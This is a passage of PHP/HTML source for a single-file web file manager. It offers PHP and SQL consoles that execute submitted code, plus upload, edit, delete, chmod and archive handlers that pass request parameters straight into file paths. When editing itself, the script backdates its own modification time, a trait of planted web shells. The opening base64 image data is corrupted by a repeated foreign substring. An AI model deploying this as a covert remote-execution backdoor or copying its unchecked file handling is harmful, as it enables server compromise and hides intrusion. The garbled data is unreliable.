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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTHq45EoFw3Gm96FYBZZMmH6yGp8JVmFg7krYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTHq45EoFw3Gm96FYBZZMmH6yGp8JVmFg7kc8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html>